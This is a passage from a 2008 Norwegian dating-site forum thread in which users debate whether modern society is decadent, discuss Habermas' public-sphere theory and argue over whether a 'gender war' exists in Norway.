hva som skal gj\u00f8res p\u00e5 jobben i morgen. N\u00e5r det kommer til dette med jobb s\u00e5 tror jeg mye av ondet ligger her. Mennesker er opptatt av \u00e5 lage ting, gj\u00f8re ting som forteller om hvem de er. Mange mennesker i dag jobber innenfor salg, markedsf\u00f8ring s\u00e5kalte terti\u00e6re n\u00e6ringer. Problemet med disse er at n\u00e5r man har kommet s\u00e5 langt ut i kjeden s\u00e5 er det lite rom for egen frihet / tolkning og man fullbyrder p\u00e5 mange m\u00e5ter en annens ide.  \n  \nDette gjelder ikke bare salg, man kan sikkert trekke lignende paralleller til anleggsarbeidere som jobber p\u00e5 en stor upersonlig blokk, de kan i det minste g\u00e5 hjem \u00e5 se at de har skapt noe. Det meste er blitt veldig str\u00f8mlinjeformet \u00e5 gj\u00f8res i STOR skala. Da er det vel meget lettere \u00e5 faktisk v\u00e6re en sau en \u00e5 stille kritiske sp\u00f8rsm\u00e5l til hvordan ting gj\u00f8res, og hvorfor skal man v\u00e6re kritisk til noe som faktisk er ganske greit. Sp\u00f8rsm\u00e5let er, er greit bra nok?\n\nSkjult ID med pseudonym l\u00f8vinnen on. 27 aug. 2008 18:05  \n\nTror alle mennesker har behov for \u00e5 ha det godt med seg sj\u00f8l, og sine n\u00e6rmeste. Det ligger i v\u00e5re gener \u00e5 v\u00e6re litt egoistiske p\u00e5 det omr\u00e5det.  \nSamtidig er vi mennesker s\u00e5 pass beviste skapninger at vi \u00f8nsker ikke at andre har det vondt heller. Vi gj\u00f8r det vi kan for \u00e5 hjelpe dem som trenger det.  \nDet \u00e5 henge seg opp i, eller v\u00e6re opptatt av hva andre gj\u00f8r og ikke gj\u00f8r (sladder) tyder p\u00e5 et eget liv uten mening, og er lite intelektuelt. De som fyller sin hverdag med den slags kan umulig ha et balansert og godt liv. Men trenden i samfunnet ser ut til \u00e5 g\u00e5 den veien, desverre........ \"se og h\u00f8r, dagbladet, tv ....... samfunnet er blitt mer overfladisk. Og hva kan vi gj\u00f8re?  \n  \n\"Det kimer h\u00f8yest i tomm t\u00f8nne\"  \nOppr\u00f8rskhet og h\u00f8ye r\u00f8ster virker ofte mot sin hensikt, siden man gir n\u00e6ring til det som er negativt. Mor Therese deltok aldri i demonstrasjoner \"Mot krig\" for eks......... men hvis det hadde v\u00e6rt lagd et opptog \"med fred\" hadde hun deltatt.  \n  \nIntellektuell kalles den person som egner sin tid til tenking og analyser. Intellektuell betegner det \u00e5 forholde seg abstrakt, rasjonelt og objektivt reflekterende til sin omverden. \u00c5 v\u00e6re intellektuell handler alts\u00e5 ikke n\u00f8dvendigvis om \u00e5 v\u00e6re spesielt intelligent; det skal mer forst\u00e5s som en bestemt m\u00e5te \u00e5 anvende sin intelligens p\u00e5 i sitt m\u00f8te med verden. Den intellektuelle tilgang st\u00e5r i motsetning til en mer umiddelbar, f\u00f8lelsesdrevet m\u00e5te \u00e5 oppfatte tingene p\u00e5.  \n  \n\u00c5 kalle seg intellektuell er kun de mest ubeskjedne som gj\u00f8r. Derimot kan andre erkl\u00e6re noen for \u00e5 v\u00e6re intellektuelle.......  \n  \n@ripset  \nvil du ha bank?.....\u00f8nsker du krig?  \ner det s\u00e5 intelektuelt da? ......... ;)\n\nSkjult ID med pseudonym Amourine on. 27 aug. 2008 18:33  \n\n@ ripset  \n  \nOk, du er lei. Av \u00e5 nyte livet, eller? Slik jeg forst\u00e5r deg...  \nMen hvem er \"vi\" som du hele tiden referer til? Jeg kjenner meg absolutt ikke igjen i innledningen din, og \u00f8nsker ikke \u00e5 bli inkludert i dette \"vi\\`et\". :-)  \n  \nJeg er ikke lei av livet - og dekadense er direkte oversatt livstr\u00f8tthet.  \nDessverre kan jeg ikke svare p\u00e5 hva \"vi\" er opptatt av, lengter etter eller synes er viktig. Men for meg har disse ordene stor betydning...hver dag. Dersom jeg skulle oppfatte profilene p\u00e5 Sukker som retningsgivende for hva som er tendenser i samfunnet v\u00e5rt, er jeg nok ikke s\u00e5 veldig observant p\u00e5 hva som skjer rundt meg der ute. Og for min del...er det der livet mitt er. :-)  \n  \nJeg har ikke denne ubehagelige f\u00f8lelsen inni meg, den du sier \"vi\" har. Jeg f\u00f8ler meg ikke trist og ulykkelig... :-) Jeg kjenner meg overhodet ikke igjen i beskrivelsen av \"meg/vi\".  \nMen jeg f\u00e5r en ubehagelig f\u00f8lelse...n\u00e5r noen forteller meg/oss hvordan \"vi\" alle er. Ser at intelligens etterhvert dras inn i denne tr\u00e5den...i tillegg til livstretthet. Jeg opplever hele denne tr\u00e5den absurd. :-)  \n  \nOg dette var antagelig dagens \"minst intellektuelle innlegg\"...;\u00f8)  \n\\-s\u00e5 har vi definert det med det samme-  \n  \nAmourine  \n\\*livsglad, livsnyter og undrende\\*\n\nSkjult ID med pseudonym ripset on. 27 aug. 2008 18:46  \n\n@amourine og andre  \n  \nMed VI s\u00e5 mener jeg deg og meg. Hvis du er uenig s\u00e5 er det jo bra. Jeg tillater meg \u00e5 si noe om hvordan jeg oppfatter menneskene i dette landet (for \u00e5 avgrense litt), og jeg baserer det p\u00e5 hva jeg observerer i meg selv, folk rundt meg, folk jeg leser om og for den del folk p\u00e5 sukker.  \n  \nSelvf\u00f8lgelig er bildet sammensatt. Jeg tenker likevel at det er en dyd \u00e5 v\u00e6re personlig og tydelig p\u00e5 hva man oppfatter. Jeg mener at det er en dyd \u00e5 ta stilling, selv om vi stort sett befinner oss i kaos. \u00c5 ta stilling p\u00e5 sviktende grunnlag. Det er feigt og egentlig litt arrogant, synes jeg, \u00e5 ikke ta sats av og til, og mene noe. Jeg pr\u00f8ver \u00e5 mene noe her, for svingende. Og jeg mener det.  \n  \nOg ja, jeg er lei. Og ja, jeg har oppfatninger/fordommer om hvordan VI er, og basert p\u00e5 nettopp disse s\u00e5 synes jeg at vi alle skal v\u00e6re modigere. Hver og en m\u00e5 kanskje finne ut hva det vil si \u00e5 v\u00e6re modig. For meg betyr det for eksempel \u00e5 pr\u00f8ve \u00e5 formulere meg her, - og det betyr \u00e5 t\u00f8rre \u00e5 ta ballen i mitt eget liv og tro p\u00e5 at jeg har makt. Og kraft. At jeg kan gj\u00f8re noe bra. At det er viktig at jeg gj\u00f8r noe bra. Og at jeg vil og m\u00e5 finne ut hva som er bra. At jeg m\u00e5 komme i kontakt, med den jeg egentlig er, og den jeg vil v\u00e6re - det er jo kanskje det samme. At jeg m\u00e5 slutte \u00e5 fisle og komme ut av mitt eget skall.  \n  \nNoe s\u00e5nt.  \n  \nOg som vanlig - ja :) - s\u00e5 tror jeg at alle andre er som meg. Og at kanskje en eller annen annen sjel der ute kunne ha glede av MIN MUNTRE KLAGESANG - og kanskje finne den inspirerende, og kanskje klage litt muntert tilbake. Flere har jo gjort det, og det gleder meg. Takk :)\n\nSkjult ID med pseudonym Zitelle on. 27 aug. 2008 18:50  \n\nBare litt nysgjerrig, ripset:  \nMener du at du kommer i kontakt med den du egentlig er, den du \u00f8nsker \u00e5 v\u00e6re ved \u00e5 komme ut av eget skal og skrive p\u00e5 sukker?\n\nSkjult ID med pseudonym ripset on. 27 aug. 2008 18:54  \n\nHehe. Jeg skal innr\u00f8mme at tiden jeg bruker p\u00e5 internett kanskje virker i motsatt retning. Kanskje dette er et rop om hjelp :). Men jeg synes ogs\u00e5 det er spennende \u00e5 se hva slags svar jeg f\u00e5r eller ikke f\u00e5r, n\u00e5r jeg skriver det jeg skriver.  \n  \nJeg tror at \u00e5 komme ut av skallet mitt er viktig. Om sukker kan hjelpe meg med det, er jeg vel egentlig mer i tvil om. Kommer jo helt an p\u00e5 hvem jeg m\u00f8ter her. Men mange fine svar her, synes jeg\\! Det gj\u00f8r meg glad.\n\nSkjult ID med pseudonym Zitelle on. 27 aug. 2008 19:01  \n\nRipset  \nNettet og sukker har l\u00e6rt meg mye om s\u00e5 mangt. Ikke minst om meg selv og egen evne eller manglende evne til kommunikasjon.  \nNettdating kan absolutt ha sin verdi. Men n\u00e5r det kommer til \u00e5 \"finne seg sj\u00e6l\" mener jeg dette m\u00e5 v\u00e6re helt feil arena :-)\n\nSkjult ID med pseudonym Sukkrates on. 27 aug. 2008 19:06  \n\nF\u00f8rste steg er nok \u00e5 begynne \u00e5 elske skallet ditt. Er litt sm\u00e5lei av at man skal karakterisere behov, lyster o.l. som noe uegentlig og lavtst\u00e5ende. Vi er mangfoldige, vi har lyst p\u00e5 champis og donald-brus. Blir litt for enkelt \u00e5 opph\u00f8ye seg selv som intellektuell gjennom \u00e5 distansere seg fra alle Se og h\u00f8r-leserne. Vi har ingen enhetlig identitet, ingen kjerne som vi romantisk m\u00e5 virkeliggj\u00f8re.  \n  \nI tillegg s\u00e5 har det aldri v\u00e6rt flere i Norge med h\u00f8yere utdannelse enn n\u00e5, det har aldri v\u00e6rt enklere og billigere \u00e5 finne b\u00f8ker, foredrag, kulturelle oppsetninger osv.\n\nSkjult ID med pseudonym ripset on. 27 aug. 2008 19:49  \n\nJeg er enig med dere. Men er dere ikke enig med meg? Vi lever da i et dekadent samfunn? Selvf\u00f8lgelig kan man finne - og skape - sine arenaer. Men likevel - vi lever da i et dekadent samfunn? Og hva tenker dere om det?  \n  \nEr det ingen som vil redde verden lengre? Eller iallfall sprite den opp litt. Det vil jeg\\!  \n  \nPS: Marianne Aulie og Pia Haraldsen er venninner p\u00e5 ordentlig. Det st\u00e5r i Dagbladet.\n\nSkjult ID med pseudonym Sukkrates on. 27 aug. 2008 20:13  \n\nVi lever i et samfunn med en strukturell endring og nedbryting av offentligheten. Priviligerte privatinteresser refeudaliserer offentligheten mens staten kolonialiserer privatsf\u00e6ren. Dette medf\u00f8rer at Offentlighetsmodellen med tre uavhengige autonome deler med kanaler for p\u00e5virkning forvitrer. I stedet for at kraften i det beste argument r\u00e5der grunnen, blir diskurs og meningsdannelse forbeholdt de isolerte lukkede rom. Beslutninger og m\u00e5l paraderes i offentligheten uten at disse blir gjenstand for kritiske argumenter. Offentligheten blir aldri en arena hvor likestilte subjekter m\u00f8tes i fri meningsutveksling...  \n  \nDette kan man jo mene, men det er neppe hele sannheten... ; )\n\nSkjult ID med pseudonym uviter on. 27 aug. 2008 20:15  \n\nKan noen f\u00f8rst forklare meg hva dekadent betyr???\n\nSkjult ID med pseudonym Amourine on. 27 aug. 2008 20:19  \n\nWoaw, du kan mange flotte ord Sukkrates. :-)  \nJeg skj\u00f8nte ikke halvparten.  \n  \nAmourine ut av rekka g\u00e5r...\\*lol\\*  \n:-)\n\nSkjult ID med pseudonym elfrodo on. 27 aug. 2008 20:22  \n\nDette m\u00e5 da v\u00e6re skrevet med en viss ironi? Enig med deg amourine, skj\u00f8nte ikke b\u00e6ret av dette...hehe\n\nSkjult ID med pseudonym Zitelle on. 27 aug. 2008 20:23  \n\nJoooooda\\! Vi skj\u00f8nte \"Fri meningsutveksling\" :-)\n\nSkjult ID med pseudonym ripset on. 27 aug. 2008 20:27  \n\nDette var g\u00f8y\\! Jeg synes det er bra, jeg, \u00e5 MENE med store bokstaver\\!  \n  \n@uviter: det er en str\u00e5lende poetisk forklaring til dekadent litt lengre opp.\n\nSkjult ID med pseudonym Amourine on. 27 aug. 2008 20:38  \n\n\\*puh\\*  \nTakk, Zitelle...du er en ypperlig tolk. Jeg ramla serrrrri\u00f8st av alts\u00e5....;\u00f8))  \n  \nN\u00e5 leste jeg til og med hele greia en gang til (forsto fortsatt like lite...), og legger merke til avslutningen:  \n\\-\"men det er neppe hele sannheten.\"  \n  \nNoe jeg er enig i.  \n:o))))\n\nSkjult ID med pseudonym Sukkrates on. 27 aug. 2008 20:39  \n\nOk. I et demokrati (folkestyre) er det viktig hvordan meninger og beslutninger skapes, det danner jo grunnlaget for valg vi gj\u00f8r. Det burde v\u00e6re slik at aviser, debatter og slikt er et sted hvor man kan diskutere ting. Noen mener at det ikke er slik lenger. De mener at det aldri er slik at representanten fra et parti eller organisasjon sier: j\u00f8ss, det var et godt argument, jeg endrer standpunkt\\!. I stedet er det slik at f\u00f8r de kommer i offentligheten er allerede beslutningene tatt, man fremviser hva man mener uten \u00e5 v\u00e6re villig til \u00e5 endre standpunkt. Man sier: min organisasjon p\u00e5 50 000 medlemmer mener ditt eller datt. Partiet mener ditt eller datt. Det diskuteres ikke, diskusjonene er allerede blitt gjort bak lukkede d\u00f8rer. I tillegg har vi p\u00e5virkningskildende gjennom reklame o.l. Vi har heller ikke lik tilgang til offentligheten. Aviser, tv o.l. er avhengig av store inntekter for \u00e5 kunne driftes og det gj\u00f8r at privatpersoner har lite \u00e5 stille opp mot stat og store organisasjoner i p\u00e5virkningskraft.  \n  \nOk?\n\nLa n\u00e5 de intellektuelle f\u00e5 leke seg i fred n\u00e5 da ;-)\n\nT\u00f8ft gjort \u00e5 pr\u00f8ve \u00e5 diskutere Habermas' offentlighetsteori her, sukkrates.\n\nSkjult ID med pseudonym Sukkrates on. 27 aug. 2008 21:00  \n\n@kit  \n  \nDette er jo (semi)offentligheten. : ) Noen tanker? Har du tro p\u00e5 den klassiske borgerlige offentlighet?\n\nSkjult ID med pseudonym Zitelle on. 27 aug. 2008 21:00  \n\nTakk for at du snakket med ord som ogs\u00e5 en enkel landsens jente kan forst\u00e5, Sukkerates :-)\n\nSkjult ID med pseudonym kit on. 27 aug. 2008 21:05  \n\nFor meg er dette forumet ikke egnet for den type diskusjoner, men ett veldig kort svar. Nei, jeg tror ikke p\u00e5 den.\n\nSkjult ID med pseudonym Sukkrates on. 27 aug. 2008 21:25  \n\nTror den treffer noen sentrale tendenser, men overvurderer nok diskursidealet...  \n  \nSynes det burde v\u00e6re rom for \u00e5 kunne diskutere det meste her inne, men kanskje jeg overvuderer diskusjonsidealet...\n\nSkjult ID med pseudonym Amourine on. 27 aug. 2008 21:35  \n\n@ Sukkrates  \n  \nTror nok den treffer spesielt interesserte...  \n  \nSynes den fortjener en egen tr\u00e5d.  \n  \nOg ja, det burde v\u00e6re rom for \u00e5 diskutere det meste her inne...  \n:o)\n\nSkjult ID med pseudonym kit on. 27 aug. 2008 21:41  \n\nSelvsagt er det rom \u00e5 diskutere hva en selv vil. Men for MEG passer det ikke ;)\n\nSkjult ID med pseudonym Zitelle on. 27 aug. 2008 21:42  \n\nSukkerates  \nMange har jo etterlyst et visst niv\u00e5 p\u00e5 diskusjonene her inne blant oss mer eller mindre faste v\u00e5sepettere. S\u00e5nn sett er du helt sikkert kj\u00e6rkommen\\! Uansett er du kj\u00e6rkommen sp\u00f8r du meg\\! Mangfold er helt supert\\!  \n  \nMen jeg m\u00e5 v\u00e6re \u00e6rlig og snakke om, og for, meg igjen, - selv om det kan v\u00e6re uinteressant ;-)  \nZitelle liker ikke \u00e5 v\u00e6re objektiv p\u00e5 forumet. Faktisk dyrker hun subjekttivitet, - tanker og f\u00f8lelser utfra egne meninger\\! Helt sant\\!  \nJeg liker ikke \u00e5 diskutere, fordi i en diskusjon b\u00f8r man v\u00e6re saklig, opplyst om tema, seri\u00f8s og n\u00f8ytral. N\u00f8ytral passer meg d\u00e5rlig.  \nOg nettopp fordi dette ikke er jobb, men snarere ren avslapping, tar jeg meg frihet til \u00e5 synse litt her og synse litt der alt ettersom.  \nS\u00e5 vet du det.\n\nSkjult ID med pseudonym Mann 25 on. 27 aug. 2008 21:45  \n\nI USA ble CBS regelrett presset av seerne til \u00e5 fortsette serien Jericho etter sesong 1. Det endte i en \u00e5tte episoders sesong 2 som s\u00e5 avsluttet i noe som kan tolkes b\u00e5de som en \"cliffhanger\" og som en finale.  \nI Norge ga TV2 etter for presset, og bragte Pacific Blue tilbake p\u00e5 Zebra.  \n  \nBanale eksempler, jo. Men \u00e5 si at privatpersoner ikke kan p\u00e5virke er jeg slettes ikke ubetinget enig i.  \n  \nN\u00e5r det kommer til representanter for partier og organisasjoner, er media som oftest klare p\u00e5 om det er et ordin\u00e6rt medlem som uttaler seg. Eller om det er en talsmann. Mannen i gata, uavhengig av tilh\u00f8righet, m\u00e5 regnes for \u00e5 uttale seg fra et personlig perspektiv, ikke p\u00e5 vegne av 50.000 sam-medlemmer. Talsmenn blir som regel valgt p\u00e5 styre- eller \u00e5rsm\u00f8ter. Mener du at vedkommende i din organisasjon gj\u00f8r et heller labert fors\u00f8k, s\u00e5 er det hver enkelt sitt valg \u00e5 evt. stille motkandidatur. Alle har en p\u00e5virkningskraft. P\u00e5f\u00f8lgende sp\u00f8rsm\u00e5l vil vel havne i samme gata som ripset; G\u00e5r individene rundt med skylapper og godtar at det bare er slik, eller bruker de sin p\u00e5virkningskraft?\n\nnoen som husker hva temaet er ?\n\nSkjult ID med pseudonym Zitelle on. 27 aug. 2008 21:55  \n\nja\n\nSkjult ID med pseudonym Sukkrates on. 27 aug. 2008 22:29  \n\n@mann 25  \n  \nViktig \u00e5 ikke bli for svart/hvitt her, at det finnes moteksempler betyr n\u00f8dvendigvis ikke at hovedtendensen er en annen. Poenget er vel snarere at samfunnet organiseres i interessesammenslutninger som ikke er \u00e5pne for \u00e5pen diskurs. Du f\u00e5r aldri Norges Automobil Forbund til \u00e5 endre sine grunnleggende m\u00e5lsettinger i en \u00e5pen offentlig debatt. Vi har ikke en diskuterende offentlighet. Talsmennene kommer med et bundet mandat, det samme gj\u00f8r politiske partier. Det er naivt \u00e5 tro at jeg som privatperson har like mye innflytelse som LO i et l\u00f8nnspolitisk sp\u00f8rsm\u00e5l.\n\nSkjult ID med pseudonym Sukkrates on. 27 aug. 2008 22:35  \n\nIdealet er at man skal kunne ha en offentlighet hvor man kan m\u00f8tes for \u00e5 pr\u00f8ve sine argumenter. Det b\u00f8r v\u00e6re kraften i det beste argument som er rettledende og ikke antallet personer man representerer.\n\nSkjult ID med pseudonym ripset on. 27 aug. 2008 22:46  \n\njeg er tr\u00e5dstarter, og jeg synes dette er veldig interessant og relevant\\! som zitelle sier, s\u00e5 har det jo v\u00e6rt mye diskusjon om det p\u00e5st\u00e5tt lavm\u00e5let i mange av tr\u00e5dene. Og n\u00e5 er det tydeligvis mange som kjenner et ubehag ved at noen tar ballen/kommer ut av skallet/ st\u00e5r fram med det de har eller er av \"h\u00f8ym\u00e5l\". Det blir ganske trangt hvis alle tr\u00e5dene skal v\u00e6re s\u00e5nn at man skal holde seg til saken, men heller ikke ha lov til \u00e5 v\u00e6re skikkelig seri\u00f8s. Vi snakket egentlig om dekadansen, men det at s\u00e5pass mange av oss har problemer med at andre kommer med litt livskraft - det v\u00e6re seg utilb\u00f8rlig fjas eller utilb\u00f8rlig seri\u00f8sitet - er ikke det ogs\u00e5 dekadent? Hm.  \n  \nJeg tror at hvert individ har stor p\u00e5virkningskraft. Jeg tror at vi skaper v\u00e5re liv hele tiden, og slik sett, ogs\u00e5 verden. Men i det dekadente samfunnet velger mange minste motstands veg, og vil egentlig ikke risikere noe som helst. Iallfall ikke av hjertet sitt.  \n  \nMen forresten. Alle her inne er jo lengtende etter kj\u00e6rligheten, er vi ikke? (selv om det er hardt \u00e5 innr\u00f8mme noen ganger) - og DET; DET er jo ikke dekadent\\! Det er jo LIV\\!\n\nSkjult ID med pseudonym ripset on. 27 aug. 2008 22:51  \n\nJeg synes Sukkrates har rett, den politiske diskusjonen i det offentlige rom er parodisk, og de \"stakkars\" politikerne t\u00f8r ikke helt \u00e5 risikere seg ved \u00e5 f\u00f8lge hjertene sine. De elger seg heller oppetter hva de tror er folkemeningen. Og folkemeningen preges av den politiske samtalen. Ergo f\u00e5r vi et samfunn der hverken \"folket\" eller politikerne t\u00f8r \u00e5 sette agenda.  \n  \nDerimot f\u00e5r vel lobbyister og presse og andre stor p\u00e5virkningskraft. Og vi p\u00e5virker jo hverandre, alle sammen, hele tiden. S\u00e5nn sett synes jeg at vi alle skal m\u00f8te verden med hjertet hele tiden, og pr\u00f8ve \u00e5 spre MOT. For det er jo det som trengs, litt grovt sagt.  \n  \nOg ellers er jeg helt enig med Zitelle, at det er mer spennende \u00e5 diskutere utfra det personlige. Men det g\u00e5r da an \u00e5 diskutere de store linjene p\u00e5 en personlig m\u00e5te, det synes jeg i grunn vi gj\u00f8r n\u00e5\\!\n\nSkjult ID med pseudonym ripset on. 27 aug. 2008 22:52  \n\nUnnskyld, Sukkrates, jeg siterte deg nok temmelig upresist. Ha meg unnskyldt, det var bare et fors\u00f8k p\u00e5 \u00e5 v\u00e6re inkluderende... og like fullt dominerende .... ;D\n\nSkjult ID med pseudonym Sukkrates on. 27 aug. 2008 23:00  \n\nHe-he\\! Fryktelig dekadent \u00e5 ikke v\u00e6re presis. : )  \n  \nNatta\\!\n\n (mann 33 \u00e5r fra Oslo)  on. 27 aug. 2008 23:19  Privat melding \n\nRipset jeg kan skrive noe som provoserer for deg siden du ikke fikk de mest \"sinna\" reaksjonene.  \n  \nEr det bare meg eller er det en slags kj\u00f8nnskrig i Norge?  \n  \nJobbet endel i utelivet og det er blitt helt vanlig med jenter som sloss med gutter, ofte over sv\u00e6rt lite og jentene angriper f\u00f8rst...og ofte \"peacenick\" jenter med ullgenser og sv-merker som h\u00f8gger til og biter og klorer.  \n  \nFedre som bare kan glemme \u00e5 se barna sine s\u00e5 lenge de lever selv om de betaler for barnet via bidrag og skatt.  \n  \nAviser som skriver at gutter er dumme som br\u00f8d p\u00e5 skolen og TvNorge som kj\u00f8rer Amnesty kampanjer der de sier at flertallet av norske menn sl\u00e5r kvinner.  \n  \nGutter som studerer the game og masse overkommersialiserte sjekkereplikker som handler om \u00e5 v\u00e6re innp\u00e5slitne, jeg vet ikke hvor mange ganger jeg har opplevd at jenter p\u00e5 fest/utested sier til meg at vennene mine \u00f8delegger kvelden dems fordi de bruker \"the game\" p\u00e5 dem ogs\u00e5 blir det full krangling, v\u00e6rre enn gutte og jente kranglingen i gymtimene p\u00e5 skolen hehe.  \n  \nOg skyh\u00f8y skilsmisse rate, kvinner som vil f\u00e5 barn uten menn og sider som f.eks sukker....de fleste gutter jeg kjenner som er her og inkludert meg selv f\u00e5r stort sett hver eneste dag en st\u00f8dig str\u00f8m av \"kritikk, drittslening og rett og slett godt gammeldags hat\" i innboksen fra det motsatte kj\u00f8nn...uten at vi selv har skrevet en eneste negativ ting....om du sier en jente er pen og hun blir provosert da er det vel p\u00e5 tide \u00e5 analysere samfunnet litt :)?  \n  \nB\u00e5de adecco og manpower har rett ut sagt til meg at de ikke \u00f8nsker gutter under 25, uansett hvordan jobb det gjelder...en blir jo litt bleik av \u00e5 h\u00f8re det der en sitter med bra referanser og karakterer...  \n  \nDet finnes ogs\u00e5 forum der du m\u00e5 v\u00e6re god for \u00e5 poste innlegg, som bare g\u00e5r ut p\u00e5 gutters hat over jenter. Siste innlegget jeg leste der var det en fyr som lurte p\u00e5 hvorfor jenter kunne pule gamle tyrkere p\u00e5 sydentur og fremdeles kreve \u00e5 st\u00e5 hvit brud noen m\u00e5nder etterp\u00e5 hjemme i Norge.(dette er ikke min mening, bare noe jeg gjengir)  \n  \nS\u00e5 hva skjer..er det en kj\u00f8nnskrig i Norge idag? et slags underliggende hat mellom kj\u00f8nnene? Er familiens tid over rett og slett pga en kj\u00f8nnskrig som er kommt for \u00e5 bli og eskalere?  \n  \nNorske menn som er s\u00e5 frustrerte og fulle av forakt at de faktisk importerer kvinner fra fattige land for \u00e5 ha en make de kan leve med.  \n  \nN\u00e5 provoserte jeg mange...selv er jeg n\u00f8ytral og synes det er individet som avgj\u00f8r mitt inntrykk av personen, ikke kj\u00f8nnet.\n\ndet skal st\u00e5 der du m\u00e5 v\u00e6re gutt for \u00e5 poste innlegg(godtkjent som gutt av admin)\n\n (mann 33 \u00e5r fra Oslo)  on. 27 aug. 2008 23:22  Privat melding \n\nOg ja hadde nettopp en samtale med en jentevenn der hun klaget over at alle hennes norske kj\u00e6rester er s\u00e5 lite romantiske og at sydeuropeiske gutter er mye mer fintf\u00f8lene ovenfor kvinners behov.  \n  \nS\u00e5 igjen sp\u00f8r jeg, er det en slags krig p\u00e5 gang hehe :)\n\nSkjult ID med pseudonym Zitelle on. 27 aug. 2008 23:31  \n\nJeg f\u00f8ler ikke at jeg befinner meg eller er aktivt med i noen form for kj\u00f8nnskrig.  \nMen mulig jeg er for gammel til \u00e5 bry meg eller for dum til \u00e5 se at det stormer rundt meg :-)\n\nSkjult ID med pseudonym ripset on. 27 aug. 2008 23:36  \n\nFor noen oppleves det vel som en krig? Det viser du jo selv, med alle eksemplene dine. Og jeg er helt enig i, at det synes som at mange opplever det slik. Jeg har ogs\u00e5 inntrykk av at mange menn er veldig frustrerte og rotl\u00f8se, rent kj\u00f8nnsmessig.  \n  \nSelv synes jeg (som deg, etter hva du sier) at hvert individ er forskjellig, og at de individuelle forskjellene p\u00e5 folk er st\u00f8rre enn de kj\u00f8nnmessige. Og jeg synes det er synd og lite konstruktivt, n\u00e5r man plasserer \u00e5rsaken til noe vanskelig p\u00e5 \"de andre\". Dvs motsatt kj\u00f8nn. Jeg skj\u00f8nner godt at det er frutstrerende \u00e5 v\u00e6re mann i dag, og mannen har vel fortsatt til gode \u00e5 gj\u00f8re fullt inntog p\u00e5 den familiemessige og f\u00f8lelsesmessige arena. Men jeg tror at mennene m\u00e5 gj\u00f8re sin egen revolusjon, og ikke sutre og kreve at kvinnene skal definere den nye rollen for dem.  \n  \nSelv er jeg utrolig glad i mannfolk, og selv om jeg snakker om personlige og f\u00f8lelsesmessige temaer dagen lang, s\u00e5 har flere menn sagt til meg at jeg snakker som en mann. S\u00e5 det er lett \u00e5 bli forvirra.  \n  \nDet eneste jeg blir provosert av, er uttalelser som hinter om at jeg ikke kan v\u00e6re s\u00e5nn eller s\u00e5nn pga kj\u00f8nnet mitt. Derfor blir jeg fort irritert n\u00e5r s\u00e5 mange insisterer p\u00e5 forskjellene mellom oss. Jeg f\u00f8ler nemlig at det legger f\u00f8ringer p\u00e5 hvem jeg kan v\u00e6re. Jeg synes at kvinnene og mennene skulle kj\u00f8re felles kamp mot kj\u00f8nnstyranniet - som vi alle mer eller mindre er slaver av.\n\n (mann 33 \u00e5r fra Oslo)  on. 27 aug. 2008 23:50  Privat melding \n\nRipset, ikke for meg...jeg bare kommenterte reaksjoner som kan v\u00e6re uvanlig i v\u00e5r kultur med det tanke p\u00e5 det vi snakker \u00e5pent om..jeg liker jenter og det som gj\u00f8r jenter til jenter :) samme om noen av dem blir hissige over nett, det er ikke noe jeg kan gj\u00f8re med uansett.  \n  \nMen jeg har maaaaaaaange guttevenner og bekjente som blir helt gale og blinde av hat og som ikke gj\u00f8r annet enn \u00e5 bable om \u00e5 flytte til Thailand og n\u00e5r jeg er p\u00e5 byen med dem vet jeg at de f\u00f8r eller siden begynner \u00e5 krangle med en jentegjeng.\n\nSkjult ID med pseudonym Lilleulv to. 28 aug. 2008 00:17  \n\nHei SteinR  \nIngen kj\u00f8nnskrig p\u00e5 gang s\u00e5 vidt jeg har opplevd.... Motsetninger mellom kj\u00f8nn vil det alltid v\u00e6re. Men det g\u00e5r an \u00e5 gj\u00f8re sitt til \u00e5 IKKE bidra til en ytterligere polarisering... Jeg kjenner ingen jenter som har v\u00e6rt med i slosskamp p\u00e5 byen... Kunne ikke falle meg inn \u00e5 delta p\u00e5 noe s\u00e5nt. Hvis du heller ikke synes det er s\u00e6rlig fornuftig: Hva med \u00e5 g\u00e5 ut p\u00e5 andre steder hvor det er f\u00e6rre agresssive jentegjenger? Er tross alt ikke hverdagskost overalt...\n\n (mann 33 \u00e5r fra Oslo)  to. 28 aug. 2008 01:48  Privat melding \n\nJeg h\u00e5per selvf\u00f8lgelig at det er feil..... p\u00e5 nett f\u00f8les det litt som om jeg har kommet fra en rekruttskole og n\u00e5 er krigen igang hehe :)  \n  \nJeg vet at uansett hvilken jente jeg skriver til og uansett hva jeg skriver, s\u00e5 finnes det faktisk ingen sjangse for et hyggelig svar..rett og slett fordi utvalget for hver enkelt jente blant guttene p\u00e5 en s\u00e5nn side blir s\u00e5 enormt og uendelig..uansett hva jeg m\u00e5tte skrive s\u00e5 har hun allerede f\u00e5tt 15 der det st\u00e5r mye av det samme den dagen.. ...men jeg m\u00e5tte bli medlem for \u00e5 erfare det..s\u00e5 jeg visste ikke det f\u00f8r.....i det virkelige liv er jenter b\u00e5de vakre og snille mot meg p\u00e5 alle m\u00e5ter og jeg kunne ikke hatt det bedre og de kj\u00e6restene jeg har hatt har utseendemessig v\u00e6rt mye penere enn meg og har valgt meg forann mange andre gutter.  \n  \nMen om jeg skulle bare h\u00f8re p\u00e5 de jentene jeg kjenner versus guttene jeg kjenner...jepp da handler det mye om foreldrerett, kj\u00f8nnsforhold p\u00e5 jobben og misn\u00f8ye med hvordan de oppfatter at den generelle oppf\u00f8rselen til det motsatte kj\u00f8nn er....jenter sier menn tjener mer, gutter sier menn jobber mer og tar mindre ferie og velger yrker som gir bedre fortjeneste mtp n\u00e6ringslivet...gutter sier datt og jenter sier ditt...menn velger \u00e5 flytte firmaer de eier til utlandet pga kj\u00f8nnskvotering slik at de ikke m\u00e5 kvotere inn en kvinne i styret osv.. og en ser jo generelt at det er mye flere aleneforeldre og single enn tidligere.  \n  \nEller er alt dette enkelt tilfeller som ber\u00f8rer s\u00e5 f\u00e5 mennesker at det ikke kan kalles aktuelt i noen som helst form og dermed ikke regnes som en eksisterende konflikt mellom kj\u00f8nnene og heller bagataller som alltid vil finnes i en eller annen form i samfunnet.\n\n (mann 42 \u00e5r fra Oslo)  fr. 29 aug. 2008 09:23  Privat melding \nripset: du har skrevet ett av de beste innleggene jeg har lest her p\u00e5 forumet.  \n  \nSteinR : Jeg er ogs\u00e5 enig i mye av det du skriver.\n\nSkjult ID med pseudonym Mann 25 fr. 29 aug. 2008 11:52  \n\n@Sukkrates  \n  \nMen om FRP f\u00e5r det som de vil (og torpedere b\u00e5de tariffl\u00f8nn og LO) s\u00e5 m\u00e5 du i beste fall PR\u00d8VE \u00e5 